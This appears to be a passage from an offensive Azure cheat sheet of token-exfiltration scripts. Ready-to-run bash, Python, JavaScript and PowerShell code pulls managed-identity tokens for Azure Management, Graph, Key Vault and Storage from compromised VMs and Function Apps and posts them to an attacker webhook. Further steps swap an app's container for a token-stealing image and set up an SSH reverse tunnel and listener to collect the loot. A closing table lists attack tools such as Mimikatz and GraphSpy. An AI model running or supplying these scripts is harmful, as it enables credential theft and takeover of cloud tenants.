# look for: WEBSITE_RUN_FROM_PACKAGE, WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
Note: For SAS token format, parameter reference, and generation, see Token Usage - SAS Token Usage & Generation.
Some Token Exfil Scripts
Goal: Collect and exfiltrate tokens from compromised compute resources.
From a VM (IMDS - Multi-Resource, Multi-Identity)
#!/bin/bash
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13"
WEBHOOK="https://<YOUR-WEBHOOK>"
CLIENT_IDS=("id1" "id2" "id3") # Enumerate via az identity list
for CID in "${CLIENT_IDS[@]}"; do
MGT=$(curl -s -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/&client_id=$CID")
GRAPH=$(curl -s -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/&client_id=$CID")
VAULT=$(curl -s -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/&client_id=$CID")
echo "{\"client_id\": \"$CID\", \"management\": $MGT, \"graph\": $GRAPH, \"vault\": $VAULT}"
done | jq -s '.' | curl -s -X POST -H "Content-Type: application/json" -d @- "$WEBHOOK"
From App Service / Function App (bash)
#!/bin/bash
WEBHOOK_URL="https://<YOUR-WEBHOOK>"
RESOURCES=("https://management.azure.com/" "https://graph.microsoft.com/" "https://vault.azure.net" "https://storage.azure.com")
OUTPUT_JSON="{}"
for R in "${RESOURCES[@]}"; do
RESPONSE=$(curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
"$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=$R")
TOKEN=$(echo "$RESPONSE" | jq -r '.access_token // .message')
OUTPUT_JSON=$(echo "$OUTPUT_JSON" | jq --arg key "$R" --arg val "$TOKEN" '.[$key] = $val')
done
curl -s -X POST -H "Content-Type: application/json" -d "$OUTPUT_JSON" "$WEBHOOK_URL"
From Function App (Python)
import os, requests
webhook_url = "https://<YOUR-WEBHOOK>"
identity_endpoint = os.environ.get("IDENTITY_ENDPOINT")
identity_header = os.environ.get("IDENTITY_HEADER")
resources = [
"https://management.azure.com/",
"https://graph.microsoft.com/",
"https://vault.azure.net",
"https://storage.azure.com"
]
session = requests.Session()
session.headers.update({"X-IDENTITY-HEADER": identity_header})
output_data = {}
for resource in resources:
try:
resp = session.get(identity_endpoint, params={"api-version": "2019-08-01", "resource": resource}, timeout=5)
data = resp.json()
output_data[resource] = data.get("access_token", data.get("message", "error"))
except Exception as e:
output_data[resource] = str(e)
requests.post(webhook_url, json=output_data, timeout=10)
From Function App (JavaScript v4)
const exfiltrate = async () => {
const webhook = "<YOUR-WEBHOOK>";
const endpoint = process.env.IDENTITY_ENDPOINT;
const header = process.env.IDENTITY_HEADER;
const resources = [
"https://management.azure.com/",
"https://graph.microsoft.com/",
"https://vault.azure.net",
"https://storage.azure.com",
];
if (endpoint && header) {
let results = { timestamp: new Date().toISOString() };
for (const res of resources) {
try {
const url = `${endpoint}?api-version=2019-08-01&resource=${encodeURIComponent(res)}`;
const resp = await fetch(url, {
headers: { "X-IDENTITY-HEADER": header },
});
const data = await resp.json();
results[res] = data.access_token || data.message;
} catch (e) {
results[res] = e.message;
}
}
await fetch(webhook, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(results),
});
}
};
From Function App (PowerShell)
$webhookUrl = "https://<YOUR-WEBHOOK>"
$identityEndpoint = $env:IDENTITY_ENDPOINT
$identityHeader = $env:IDENTITY_HEADER
$resources = @("https://management.azure.com/","https://graph.microsoft.com/","https://vault.azure.net","https://storage.azure.com")
$outputData = @{ timestamp = (Get-Date).ToString("yyyy-MM-ddTHH:mm:ssZ") }
foreach ($r in $resources) {
try {
$response = Invoke-RestMethod `
-Uri "$($identityEndpoint)?api-version=2019-08-01&resource=$($r)" `
-Method Get -Headers @{ "X-IDENTITY-HEADER" = $identityHeader }
$outputData[$r] = $response.access_token
} catch { $outputData[$r] = $_.Exception.Message }
}
Invoke-RestMethod -Uri $webhookUrl -Method Post -Body ($outputData | ConvertTo-Json) -ContentType "application/json"
Docker Container Exfil
For App Services / Function Apps where you can swap the container:
# Set webhook first
az webapp config appsettings set --resource-group <RG> --name <app> --settings WEBHOOK_URL=<webhook>
# Deploy the exfil container
az webapp config container set --resource-group <RG> --name <app> \
--docker-custom-image-name docker.io/jacobham/aztokenexfil:latest
Source: https://github.com/Jacob-Ham/aztokenexfil
Catch Tokens Locally (SSH Tunnel + Listener)
We really don’t wanna be sending tokens to webhooks.site or through ngrok, so we can just setup a tunnel to a VPS.
On your VPS - enable gateway ports:
sudo sed -i 's/GatewayPorts no/GatewayPorts yes/' /etc/ssh/sshd_config
sudo systemctl restart sshd
Start listener:
# python listener
python3 -c 'import socket; s=socket.socket(); s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1); s.bind(("", 8080)); s.listen(1); [ (print(conn.recv(4096).decode()), conn.send(b"HTTP/1.1 200 OK\r\n\r\n"), conn.close()) for conn, addr in iter(s.accept, 0) ]'
Tunnel from attacker machine:
ssh -o ServerAliveInterval=30 -R 8080:localhost:8080 root@<VPS-IP>
Then send tokens to the public IP and catch em.
Tools Reference
| Tool | Purpose |
|---|---|
| ROADtools / roadtx | Auth, PRT ops, device join, FOCI switch |
| AADInternals | Recon, token ops, ADFS cert export, Golden SAML |
| GraphSpy | GUI for token mgmt, phishing, data pillage, WHfB |
| GraphRunner | PowerShell token ops, CA policy dump, enumeration |
| Mimikatz | PRT + session key extraction from LSASS |
| FindMeAccess | MFA gap discovery - finds working resource+client combos |